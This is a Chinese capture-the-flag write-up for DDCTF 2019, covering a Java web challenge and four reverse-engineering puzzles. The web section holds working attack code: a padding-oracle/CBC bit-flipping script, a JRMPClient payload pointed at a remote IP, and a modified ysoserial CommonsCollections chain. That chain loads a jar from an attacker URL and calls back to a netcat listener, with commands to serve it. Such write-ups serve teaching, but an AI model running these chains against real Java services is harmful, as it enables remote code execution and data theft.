专栏首页ChaMd5安全团队DDCTF WriteUp (Web压轴+逆向)

DDCTF WriteUp (Web压轴+逆向)

Web(压轴)

再来一杯JAVA

最后一道web,来自ShadowGlint师傅的复现(tql): 访问题目,抓包看到几个api。 account_info返回{"id":1,"roleAdmin":false} gen_token返回token token解b64有:PadOracle:iv/cbc 基本确定就是padding oracle然后cbc字节翻转。 原理都忘光了。。去复习了一波,找到脚本跑一下:

import requests
def xor(a, b):
    return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in xrange(len(a))])

def padding_oracle(ciper_hex, N):
    get = ""
    for i in xrange(1, N + 1):
        for j in xrange(0, 256):
            # print(i,j)
            padding = xor(get, chr(i) * (i - 1))
            c = chr(0) * (N - i) + chr(j) + padding
            payload='5061644f7261636c653a69762f636263'+c.encode('hex')+ciper_hex
            # print(payload)
            get_api_return=get_api(payload)
            # print(get_api_return)
            if "decrypt err~" not in get_api_return:
                get = chr(j ^ i) + get
                print(get.encode('hex'))
                break
    return get.encode('hex')
def padding(strings):
    padding_len=8-len(strings)%8
    return strings+chr(padding_len)*padding_len
def get_api(ciphertext):
    req_header={'X-Forwarded-For': '',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063',
'Host':'c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023',
'Referer':'http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/home',
'Cookie':'token={}'.format(ciphertext.decode('hex').encode('base64')[:-1]),
}
    s = requests.session() 
  rsp=s.get('http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/gen_token', headers=req_header,timeout=2,verify=False,stream=True,allow_redirects=False)
    return(rsp.content)  
def cbc_byte_flipping(strings):
    token_padding=padding(strings)
    c2='b8d85a91bdeae799086cc723e7bf1685'.decode('hex')
    c2_m='a7d3878a0466c70b59264b5ed33f5013'.decode('hex')
    c1=xor(c2_m,token_padding[16:])
    c1_m=padding_oracle(c1.encode('hex'), 16).decode('hex')
    iv=xor(c1_m,token_padding[0:16]) #iv
    return((iv+c1+c2).encode('base64')[:-1])
print(cbc_byte_flipping('{"id":1,"roleAdmin":true}'))

hex一下,猜测是中间16位iv,最后16位是密文。并且解密失败,服务端会返回dercrypt err,因此满足padding oracle条件。 跑脚本,拿到可用的token。admin身份进后台之后,看到下载1.txt,里边给出hint hex一下,猜测是中间16位iv,最后16位是密文。并且解密失败,服务端会返回dercrypt err,因此满足padding oracle条件。 跑脚本,拿到可用的token。admin身份进后台之后,看到下载1.txt,里边给出hint

Try to hack~ 
Hint:
1. Env: Springboot + JDK8(openjdk version "1.8.0_181") + Docker~ 
2. You can not exec commands~ 

看到题目用了Springboot,并且限制不可执行命令。 继续fuzz下载文件的fileName参数,跑了很多常见的fuzz任意文件读的字典,发现除了passwd啥都读不到。递归把etc、bin、usr等目录都跑过了,发现没啥有用的信息。 但看着样子肯定要拿到源码,继续测,跑/proc/self/fd当前运行进程目录,发现15能下到源码。 反编译审一波:

public class DeserializeDemoController
{
  @Autowired
  private SerialKillerConf serialKillerConf;

  @CheckAdminActuator
  @RequestMapping({"/nicaibudao_hahaxxxx/deserial"})
  public String deserialize(String base64Info)
  {
    ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64Info));
    UserInfo userInfo = null;
    try
    {
      ObjectInputStream ois = new SerialKiller(bais, this.serialKillerConf.getConfig());
      userInfo = (UserInfo)ois.readObject();
      ois.close();
    }
    catch (Exception e)
    {
      e.printStackTrace();
      return null;
    }
    return JSON.toJSONString(userInfo);
  }
}

清楚看到controller/DeserializeDemoController下有反序列化接口,那思路就很明确了,反序列化执行执行命令或列目录拿flag。 继续审,发现用到了serialkiller。ysoserial里的payload都不能用了。。然后继续谷歌,发现了weblogic的几个反序列化洞,通过起jrmp服务来反序列化执行命令。附上链接: https://xz.aliyun.com/t/2479 看到了payload1

serialkiller中对jrmp的过滤:

<!-- ysoserial's JRMPClient payload  -->
<regexp>java\.rmi\.registry\.Registry$</regexp>
<regexp>java\.rmi\.server\.ObjID$</regexp>
<regexp>java\.rmi\.server\.RemoteObjectInvocationHandler$</regexp>

这个payload并未用到serialkiller中的类,而是通过UnicastRef。我们跟进去看下UnicastRef这个类的作用。

 /**
  * NOTE: There is a JDK-internal dependency on the existence of this
  * class's getLiveRef method (as it is inherited by UnicastRef2) in
  * the implementation of javax.management.remote.rmi.RMIConnector.
  **/
    public class UnicastRef implements RemoteRef 

 /**
   * Create a new Unicast RemoteRef.
   */
    public UnicastRef(LiveRef liveRef) {
        ref = liveRef;
   }

大约就是创建一个RMI连接器,和JRMPServer连接。所以我们并不需要Registry类,去掉之后对反序列化利用没有影响。 在DeseriallizeDemoController类中,可以看到输入被过滤了。

ObjectInputStream ois = new SerialKiller(bais, this.serialKillerConf.getConfig());

因此,这题bypass serialkiller的思路,就是起一个JRMPServer,然后像常规JRMP的利用思路那样,传入JRMPClient的Payload,通过反序列化接口执行连接我们的evil server,然后下载我们的payload执行。这样,就能绕过serialKiller了。当然,思路是第一步,下边还有很多很多很多坑。。。 就用这个payload1:

package ysoserial.payloads;

import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

@SuppressWarnings ( {"restriction" } )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Object> {

    public Object getObject (final String command ) throws Exception {
        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
          TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        return ref;
    }

    public static void main ( final String[] args ) throws Exception {
        String[] target = new String[] {"139.199.203.253:44446"};
        Thread.currentThread().setContextClassLoader(JRMPClient1.class.getClassLoader());
        PayloadRunner.run(JRMPClient1.class, target);
    }
}

这里我有一个疑问,payload1中用到了ObjID id = new ObjID,也就是用到了ObjID这个类,而这个类也在serialkiller的过滤列表中。但是发过去后,并未拦截这个类。。有大佬的解释是这个不是需要反序列化的类,是bind服务的时候用的。但不是很理解,有懂得大佬求讲解下…… 继续我们的利用。他说了不能exec,那先试试ysoserial的URLDNS。

成功接收,继续尝试执行命令:

收不到。。。命令全都被限制了。估计是shell直接限制不能执行命令,看来只能自己写payload读文件。 用到了Common-collection3.1,那可以改一改现有的payload来任意代码执行。现有的payload是通过反射来执行命令的,想改exp很麻烦。。这里参考下iswin大佬的文章。https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/ 感谢@threedr3am 大佬的帮助,膜爆师傅。。tql 这里我实在写不下去了。。通过重写CommonsCollections,就能引入自己写的,实现任意功能的类,然后用ysoserial起一个server发过去,就能列目录、读文件了。 这过程一堆坑不提了。。。 贴一下魔改过的一些代码 @threedr3am

package ysoserial.payloads;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

public class CommonsCollectionsForLoadJar extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
    public BadAttributeValueExpException getObject(String ipAndHost) throws Exception {
        String payloadUrl = ipAndHost.substring(0, ipAndHost.indexOf(";"));
        String ip2 = ipAndHost.substring(ipAndHost.indexOf(";") + 1, ipAndHost.lastIndexOf(":"));
        String str = ipAndHost;
        Integer port2 = Integer.valueOf(Integer.parseInt(str.substring(ipAndHost.lastIndexOf(":") + 1)));
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Integer.valueOf(1))});
        Transformer[] transformers = new Transformer[7];
        Class[] clsArr = new Class[]{Class[].class};
        Object[] objArr = new Object[1];
        objArr[0] = new Class[]{URL[].class};
        transformers[1] = new InvokerTransformer("getConstructor", clsArr, objArr);
        clsArr = new Class[]{Object[].class};
        objArr = new Object[1];
        Object[] objArr2 = new Object[1];
        objArr2[0] = new URL[]{new URL(payloadUrl)};
        objArr[0] = objArr2;
        transformers[2] = new InvokerTransformer("newInstance", clsArr, objArr);
        transformers[3] = new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"R"});
        clsArr = new Class[]{Class[].class};
        objArr = new Object[1];
        objArr[0] = new Class[]{String.class, Integer.class};
        transformers[4] = new InvokerTransformer("getConstructor", clsArr, objArr);
        clsArr = new Class[]{Object[].class};
        objArr = new Object[1];
        objArr[0] = new Object[]{ip2, port2};
        transformers[5] = new InvokerTransformer("newInstance", clsArr, objArr);
        transformers[6] = new ConstantTransformer(Integer.valueOf(1));
        TiedMapEntry entry = new TiedMapEntry(LazyMap.decorate(new HashMap(), transformerChain), "foo");
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, entry);
        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
        return val;
    }

    public static Constructor<?> getFirstCtor(String name) throws Exception {
        Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        return ctor;
    }

    public static Field getField(Class<?> clazz, String fieldName) throws Exception {
        Field field = clazz.getDeclaredField(fieldName);
        if (field == null && clazz.getSuperclass() != null) {
            field = getField(clazz.getSuperclass(), fieldName);
        }
        field.setAccessible(true);
        return field;
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        getField(obj.getClass(), fieldName).set(obj, value);
    }
}

然后加到ysoserial里,常规的JRMPClient方式起一下。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 44446 CommonsCollectionsForLoadJar 'http://ip/readfile.jar;nc_vps:nc_port'

然后就是生成注入client来访问这个server的payload,常规利用方式。

java -jar ysoserial.jar JRMPClient1 'vpsIP:44446'|base64 > payloadd

本地nc listen一下,/api/nicaibudao_hahaxxxx/deserial?base64Info=payload 发过去,就能列目录。发现/flag目录下有flag文件,再重新谈一个能读的shell,读一下拿到flag。

再次感谢@threedr3am师傅带我赛后做出这道题。。伏地膜

Reverse

Windows Reverse1

感觉没必要脱壳,OD载入,显示please input code:后暂停程序,查看调用堆栈就能找到对应位置

00A610AC    68 1C21A600     push reverse1.00A6211C                   ; ASCII "%s"
00A610B1    FF15 A420A600   call dword ptr ds:[0xA620A4]             ; MSVCR90.scanf
00A610B7    8D8424 28040000 lea eax,dword ptr ss:[esp+0x428]
00A610BE    50              push eax
00A610BF    8D4C24 2C       lea ecx,dword ptr ss:[esp+0x2C]
00A610C3    E8 38FFFFFF     call reverse1.00A61000
00A610C8    83C4 28         add esp,0x28
00A610CB    B9 F420A600     mov ecx,reverse1.00A620F4                ; ASCII "DDCTF{reverseME}"

首先获取我们的输入,而后进入一个encode,最后将encode后的字符串与DDCTF{reverseME}进行比较,做得时候时间紧,没进去跟,第一次输入就很明显看到输入和输出就是158-ascii的映射关系:

key="DDCTF{reverseME}"
ans=""
for i in key:
    ans+=chr(158-ord(i))
print ans
#ZZ[JX#,9(9,+9QY!

Windows Reverse2

同样没脱壳,直接在输入的时候暂停查看堆栈,就能找到关键代码位置:

00D9136E  |.  8B3D AC20D900 mov edi,dword ptr ds:[0xD920AC]          ;  msvcr90.printf
00D91374  |.  68 2421D900   push reverse2.00D92124                   ; /format = "input code:"
00D91379  |.  FFD7          call edi                                 ; \printf
00D9137B  |.  8D9424 240400>lea edx,dword ptr ss:[esp+0x424]
00D91382  |.  52            push edx
00D91383  |.  68 3021D900   push reverse2.00D92130                   ; /format = "%s"
00D91388  |.  FF15 B020D900 call dword ptr ds:[0xD920B0]             ; \scanf
00D9138E  |.  83C4 24       add esp,0x24
00D91391  |.  8DB424 080400>lea esi,dword ptr ss:[esp+0x408]
00D91398  |.  E8 53FEFFFF   call reverse2.00D911F0
00D9139D  |.  84C0          test al,al
00D9139F  |.  75 12         jnz Xreverse2.00D913B3
00D913A1  |.  68 3421D900   push reverse2.00D92134                   ;  ASCII "invalid input
"
00D913A6  |.  FFD7          call edi
00D913A8  |.  83C4 04       add esp,0x4
00D913AB  |.  6A 00         push 0x0                                 ; /status = 0
00D913AD  |.  FF15 A820D900 call dword ptr ds:[0xD920A8]             ; \exit
00D913B3  |>  8D8424 080800>lea eax,dword ptr ss:[esp+0x808]
00D913BA  |.  50            push eax
00D913BB  |.  8DB424 0C0400>lea esi,dword ptr ss:[esp+0x40C]
00D913C2  |.  E8 79FEFFFF   call reverse2.00D91240
00D913C7  |.  68 FF030000   push 0x3FF                               ; /n = 3FF (1023.)
00D913CC  |.  8D4C24 11     lea ecx,dword ptr ss:[esp+0x11]          ; |
00D913D0  |.  6A 00         push 0x0                                 ; |c = 00
00D913D2  |.  51            push ecx                                 ; |s
00D913D3  |.  C64424 18 00  mov byte ptr ss:[esp+0x18],0x0           ; |
00D913D8  |.  E8 8D080000   call reverse2.00D91C6A                   ; \memset
00D913DD  |.  8D9424 180800>lea edx,dword ptr ss:[esp+0x818]
00D913E4  |.  52            push edx                                 ; /<%s>
00D913E5  |.  8D4424 1C     lea eax,dword ptr ss:[esp+0x1C]          ; |
00D913E9  |.  68 4421D900   push reverse2.00D92144                   ; |format = "DDCTF{%s}"
00D913EE  |.  50            push eax                                 ; |s
00D913EF  |.  FF15 B420D900 call dword ptr ds:[0xD920B4]             ; \sprintf
00D913F5  |.  83C4 1C       add esp,0x1C
00D913F8  |.  B9 5021D900   mov ecx,reverse2.00D92150                ;  ASCII "DDCTF{reverse+}"
00D913FD  |.  8D4424 08     lea eax,dword ptr ss:[esp+0x8]
00D91401  |>  8A10          /mov dl,byte ptr ds:[eax]
00D91403  |.  3A11          |cmp dl,byte ptr ds:[ecx]
00D91405  |.  75 1A         |jnz Xreverse2.00D91421
00D91407  |.  84D2          |test dl,dl
00D91409  |.  74 12         |je Xreverse2.00D9141D
00D9140B  |.  8A50 01       |mov dl,byte ptr ds:[eax+0x1]
00D9140E  |.  3A51 01       |cmp dl,byte ptr ds:[ecx+0x1]
00D91411  |.  75 0E         |jnz Xreverse2.00D91421
00D91413  |.  83C0 02       |add eax,0x2
00D91416  |.  83C1 02       |add ecx,0x2
00D91419  |.  84D2          |test dl,dl
00D9141B  |.^ 75 E4         \jnz Xreverse2.00D91401
00D9141D  |>  33C0          xor eax,eax
00D9141F  |.  EB 05         jmp Xreverse2.00D91426
00D91421  |>  1BC0          sbb eax,eax
00D91423  |.  83D8 FF       sbb eax,-0x1
00D91426  |>  85C0          test eax,eax
00D91428  |.  75 11         jnz Xreverse2.00D9143B
00D9142A  |.  8D4C24 08     lea ecx,dword ptr ss:[esp+0x8]
00D9142E  |.  51            push ecx
00D9142F  |.  68 6021D900   push reverse2.00D92160                   ;  ASCII "You've got it !!! %s
"
00D91434  |.  FFD7          call edi
00D91436  |.  83C4 08       add esp,0x8
00D91439  |.  EB 0A         jmp Xreverse2.00D91445
00D9143B  |>  68 7821D900   push reverse2.00D92178                   ;  ASCII "Something wrong. Try again...
"
00D91440  |.  FFD7          call edi

跟进去可以看到D911F0是一个判断:

00D91220  |> /8A0431        /mov al,byte ptr ds:[ecx+esi]
00D91223  |. |3C 30         |cmp al,0x30
00D91225  |. |7C 04         |jl Xreverse2.00D9122B
00D91227  |. |3C 39         |cmp al,0x39
00D91229  |. |7E 08         |jle Xreverse2.00D91233
00D9122B  |> |3C 41         |cmp al,0x41
00D9122D  |. |7C 0C         |jl Xreverse2.00D9123B
00D9122F  |. |3C 46         |cmp al,0x46
00D91231  |. |7F 08         |jg Xreverse2.00D9123B
00D91233  |> |41            |inc ecx
00D91234  |. |3BCA          |cmp ecx,edx
00D91236  |.^\7C E8         \jl Xreverse2.00D91220

主要是判断一下字符范围0-9A-F,很显然是16进制格式,下面紧跟着hex解码D91240:

00D91290  |> /8A0416        /mov al,byte ptr ds:[esi+edx]
00D91293  |. |8AC8          |mov cl,al
00D91295  |. |80E9 30       |sub cl,0x30
00D91298  |. |80F9 09       |cmp cl,0x9
00D9129B  |. |77 06         |ja Xreverse2.00D912A3
00D9129D  |. |884C24 0F     |mov byte ptr ss:[esp+0xF],cl
00D912A1  |. |EB 10         |jmp Xreverse2.00D912B3
00D912A3  |> |8AC8          |mov cl,al
00D912A5  |. |80E9 41       |sub cl,0x41
00D912A8  |. |80F9 05       |cmp cl,0x5
00D912AB  |. |77 06         |ja Xreverse2.00D912B3
00D912AD  |. |2C 37         |sub al,0x37
......
......
00D912F5  |.  8D4C24 14     lea ecx,dword ptr ss:[esp+0x14]
00D912F9  |.  E8 02FDFFFF   call reverse2.00D91000

而后传入D91000,里面的移位和寻址很显然是一层base64,不过第一次看的时候table不是标准的,进去后看到是用一个异或操作换成标准(输入字符验证确实是标准base64) 最后返回sprintf("DDCTF{%s}",&encode)并与DDCTF{reverse+}比较 所以flag:

>>> "reverse+".decode("base64").encode("hex").upper()
'ADEBDEAEC7BE'

Confused

mac逆向??买不起mac只能静态分析,还好很简单,很显然是一个虚拟机保护,不能动调,先把code扣出来,先逆出init定义和每个vm操作:

_int64 __fastcall init(__int64 a1, __int64 a2)
{
  *(_DWORD *)a1 = 0;
  *(_DWORD *)(a1 + 4) = 0;
  *(_DWORD *)(a1 + 8) = 0;
  *(_DWORD *)(a1 + 12) = 0;
  *(_DWORD *)(a1 + 16) = 0;
  *(_DWORD *)(a1 + 176) = 0;
  *(_BYTE *)(a1 + 32) = 0xF0u;
  *(_QWORD *)(a1 + 40) = mov_;
  *(_BYTE *)(a1 + 48) = 0xF1u;
  *(_QWORD *)(a1 + 56) = xor_a_a4;
  *(_BYTE *)(a1 + 64) = 0xF2u;
  *(_QWORD *)(a1 + 72) = cmp_;
  *(_BYTE *)(a1 + 80) = 0xF4u;
  *(_QWORD *)(a1 + 88) = uadd_a4_a_ret;
  *(_BYTE *)(a1 + 96) = 0xF5u;
  *(_QWORD *)(a1 + 104) = usub_a_a4_ret;
  *(_BYTE *)(a1 + 112) = 0xF3u;
  *(_QWORD *)(a1 + 120) = nop;
  *(_BYTE *)(a1 + 128) = 0xF6u;
  *(_QWORD *)(a1 + 136) = jmp_;
  *(_BYTE *)(a1 + 144) = 0xF7u;
  *(_QWORD *)(a1 + 152) = mov__;
  *(_BYTE *)(a1 + 160) = 0xF8u;
  *(_QWORD *)(a1 + 168) = mov_;
  map_addr = malloc(0x400uLL);
  return __memcpy_chk((char *)map_addr + 48, a2, 18LL, -1LL);
}

handle关键部分:

if ( **(unsigned __int8 **)(a1 + 0x18) == *(unsigned __int8 *)(16LL * v3 + a1 + 0x20) )
    {
      v4 = 1;
      (*(void (__fastcall **)(__int64))(16LL * v3 + a1 + 0x20 + 8))(a1);
    }

很显然是根据对应操作前定义的字节码调用函数,启动方式:

__int64 __fastcall run(__int64 a1)
{
  *(_QWORD *)(a1 + 0x18) = (char *)&exe_code + 4;
  while ( **(unsigned __int8 **)(a1 + 0x18) != 0xF3 )
    handle(a1);
  free(map_addr);
  return *(unsigned int *)(a1 + 0xB0);
}

主要就是逆出每个操作,对应vm字节码解出汇编就行了,vm内部的思路很清晰:

key=[
  0xF0, 0x10, 0x66, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x30, 0xF6,
  0xC1, 0xF0, 0x10, 0x63, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x31,
  0xF6, 0xB6, 0xF0, 0x10, 0x6A, 0x00, 0x00, 0x00, 0xF8, 0xF2,
  0x32, 0xF6, 0xAB, 0xF0, 0x10, 0x6A, 0x00, 0x00, 0x00, 0xF8,
  0xF2, 0x33, 0xF6, 0xA0, 0xF0, 0x10, 0x6D, 0x00, 0x00, 0x00,
  0xF8, 0xF2, 0x34, 0xF6, 0x95, 0xF0, 0x10, 0x57, 0x00, 0x00,
  0x00, 0xF8, 0xF2, 0x35, 0xF6, 0x8A, 0xF0, 0x10, 0x6D, 0x00,
  0x00, 0x00, 0xF8, 0xF2, 0x36, 0xF6, 0x7F, 0xF0, 0x10, 0x73,
  0x00, 0x00, 0x00, 0xF8, 0xF2, 0x37, 0xF6, 0x74, 0xF0, 0x10,
  0x45, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x38, 0xF6, 0x69, 0xF0,
  0x10, 0x6D, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x39, 0xF6, 0x5E,
  0xF0, 0x10, 0x72, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x3A, 0xF6,
  0x53, 0xF0, 0x10, 0x52, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x3B,
  0xF6, 0x48, 0xF0, 0x10, 0x66, 0x00, 0x00, 0x00, 0xF8, 0xF2,
  0x3C, 0xF6, 0x3D, 0xF0, 0x10, 0x63, 0x00, 0x00, 0x00, 0xF8,
  0xF2, 0x3D, 0xF6, 0x32, 0xF0, 0x10, 0x44, 0x00, 0x00, 0x00,
  0xF8, 0xF2, 0x3E, 0xF6, 0x27, 0xF0, 0x10, 0x6A, 0x00, 0x00,
  0x00, 0xF8, 0xF2, 0x3F, 0xF6, 0x1C, 0xF0, 0x10, 0x79, 0x00,
  0x00, 0x00, 0xF8, 0xF2, 0x40, 0xF6, 0x11, 0xF0, 0x10, 0x65,
  0x00, 0x00, 0x00, 0xF8, 0xF2, 0x41, 0xF6, 0x06, 0xF7, 0x01,
  0x00, 0x00, 0x00, 0xF3, 0xF7, 0x00, 0x00, 0x00, 0x00, 0xF3,
  0x5D, 0xC3, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00
]
ip=0
ans=[]
while key[ip]!=0xF3:
  if key[ip]==0xf0:
    if key[ip+1]==0x14:
      print hex(ip)+"\t"+"mov a0,"+"map_addr+*(dw)"+hex(key[ip+2]+key[ip+3]*16+key[ip+4]*256+key[ip+5]*4096)
    else:
      print hex(ip)+"\t"+"mov a"+str(key[ip+1]&0x0f)+","+hex(key[ip+2]+key[ip+3]*16+key[ip+4]*256+key[ip+5]*4096)
      ans.append(key[ip+2]+key[ip+3]*16+key[ip+4]*256+key[ip+5]*4096)
    ip+=6
  if key[ip]==0xf1:
    print hex(ip)+"\t"+"xor a0,a1"
    ip+=1
  if key[ip]==0xf2:
    print hex(ip)+"\t"+"cmp a0,"+"map_addr+"+hex(key[ip+1])
    ip+=2
  if key[ip]==0xf4:
    print hex(ip)+"\t"+"add a0,a1"
    ip+=1
  if key[ip]==0xf5:
    print hex(ip)+"\t"+"sub a0,a1"
    ip+=1
  if key[ip]==0xf6:
    print hex(ip)+"\t"+"jnz "+hex(ip+key[ip+1]+2)
    ip+=2
  if key[ip]==0xf7:
    print hex(ip)+"\t"+"mov ret,*"+hex(key[ip+1]+key[ip+2]*16+key[ip+3]*256+key[ip+4]*4096)
    ip+=5
  if key[ip]==0xf8:
    print hex(ip)+"\t"+"mov a0,func(a0,2)"
    ip+=1

output:

0x0    mov a0,0x66
0x6    mov a0,func(a0,2)
0x7    cmp a0,map_addr+0x30
0x9    jnz 0xcc
0xb    mov a0,0x63
0x11    mov a0,func(a0,2)
0x12    cmp a0,map_addr+0x31
0x14    jnz 0xcc
0x16    mov a0,0x6a
0x1c    mov a0,func(a0,2)
0x1d    cmp a0,map_addr+0x32
0x1f    jnz 0xcc
0x21    mov a0,0x6a
0x27    mov a0,func(a0,2)
0x28    cmp a0,map_addr+0x33
0x2a    jnz 0xcc
0x2c    mov a0,0x6d
0x32    mov a0,func(a0,2)
0x33    cmp a0,map_addr+0x34
0x35    jnz 0xcc
0x37    mov a0,0x57
0x3d    mov a0,func(a0,2)
0x3e    cmp a0,map_addr+0x35
0x40    jnz 0xcc
0x42    mov a0,0x6d
0x48    mov a0,func(a0,2)
0x49    cmp a0,map_addr+0x36
0x4b    jnz 0xcc
0x4d    mov a0,0x73
0x53    mov a0,func(a0,2)
0x54    cmp a0,map_addr+0x37
0x56    jnz 0xcc
0x58    mov a0,0x45
0x5e    mov a0,func(a0,2)
0x5f    cmp a0,map_addr+0x38
0x61    jnz 0xcc
0x63    mov a0,0x6d
0x69    mov a0,func(a0,2)
0x6a    cmp a0,map_addr+0x39
0x6c    jnz 0xcc
0x6e    mov a0,0x72
0x74    mov a0,func(a0,2)
0x75    cmp a0,map_addr+0x3a
0x77    jnz 0xcc
0x79    mov a0,0x52
0x7f    mov a0,func(a0,2)
0x80    cmp a0,map_addr+0x3b
0x82    jnz 0xcc
0x84    mov a0,0x66
0x8a    mov a0,func(a0,2)
0x8b    cmp a0,map_addr+0x3c
0x8d    jnz 0xcc
0x8f    mov a0,0x63
0x95    mov a0,func(a0,2)
0x96    cmp a0,map_addr+0x3d
0x98    jnz 0xcc
0x9a    mov a0,0x44
0xa0    mov a0,func(a0,2)
0xa1    cmp a0,map_addr+0x3e
0xa3    jnz 0xcc
0xa5    mov a0,0x6a
0xab    mov a0,func(a0,2)
0xac    cmp a0,map_addr+0x3f
0xae    jnz 0xcc
0xb0    mov a0,0x79
0xb6    mov a0,func(a0,2)
0xb7    cmp a0,map_addr+0x40
0xb9    jnz 0xcc
0xbb    mov a0,0x65
0xc1    mov a0,func(a0,2)
0xc2    cmp a0,map_addr+0x41
0xc4    jnz 0xcc
0xc6    mov ret,*0x1

就是一个循环调用判断,其中func由程序本身定义,就是一个字母偏移,类似凯撒加密的效果,提取每次的判断字符,加上偏移即得flag: helloYouGotTheFlag

obfuscating macros

不得不说这种混淆之前没碰到过,还好本身处理input的方式很简单: 静态分析发现很多函数都是像nop或者直接一个操作就ret的函数,动态调试首先就是很多和输入流无关的操作和跳转。 我的方法直接对保存输入流的堆块下硬件断点找关键处理代码,代码段太分散了,贴一下关键地方:

v5 = *std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) > '@'
      && *std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) <= 'F';
......
......
    v3 = *std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) > '/'// 0-9
      && *std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) <= '9';
......
......
    v4 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15 / 2);
    *v4 = 16
        * (*std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) - 0x37);
    if ( !v16 )
......
......
    v6 = *std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15 + 1) - '0';
    v7 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15 / 2);

可以看到就是一个hex_decode操作,字符为0-9a-f,而后进入第二层处理,依然硬件断点(hex_decode存放位置就是我们的input),找到了关键判断位置:

      if ( v50 )
      {
        v4 = v24++;
        *v26 -= *v4;                            // y@
        if ( !v12 )
          v12 = 162LL;
        if ( !v50 )

比较我们的hex_decode(input),依次记录此时的值: 79406C61E5EEF319CECEE2ED8498...... 发现到最后正确达到一定长度即可right,我没具体找长度位置,直接fuzz到临界值,输入到98,well done,flag: 79406C61E5EEF319CECEE2ED8498

本文分享自微信公众号 - ChaMd5安全团队(chamd5sec),作者:ChaMd5

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-04-20

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 0ctf2018 heapstorm2详解

    题目链接 https://github.com/eternalsakura/ctf_pwn/tree/master/0ctf2018/heapstorm2 前置...

    ChaMd5安全团队
  • 老司机带你过常规WAF

    0x00 前言 最近看了不少关于WAF绕过的文章,想把理论深化到实践当中去,于是就有了您正在看的这篇文章,这篇文章分为两大部分,分别写的是SQL注入相关的WAF...

    ChaMd5安全团队
  • MHN中心服务器搭建与树莓派蜜罐部署

    MHN中心服务器搭建 ? 0x00 介绍 MHN(Modern Honey Network),是一个用于管理和收集蜜罐数据的中心服务器。通过MHN,可以实现快...

    ChaMd5安全团队
  • ubuntu下速度最快的视频截取方法

    FFmpeg是一套可以用来记录、转换数字音频、视频,并能将其转化为流的开源计算机程序。采用LGPL或GPL许可证。它提供了录制、转换以及流化音视频的完整解决方案...

    fanzhh
  • MySQL技巧系列(4)随机手机号

    title: MySQL技巧系列(4)随机手机号 date: 2019-01-24 15:00:00 +0800 update: 2019-01-24 15...

    suveng
  • ORACLE_SID、DB_NAME、INSTANCE_NAME、DB_DOMIAN、GLOBAL_NAME

    --=============================================================

    Leshami
  • 这可能是目前最好的图像超分辨率算法,刚刚开源了

    CVPR 2018 Workshop NTIRE2018图像超分辨率的优胜方案开源了! 该算法在NTIRE2018所有三个realistic赛道中全部获得第一名...

    CV君
  • SEO网站优化,一直原创,为什么排名上不去?

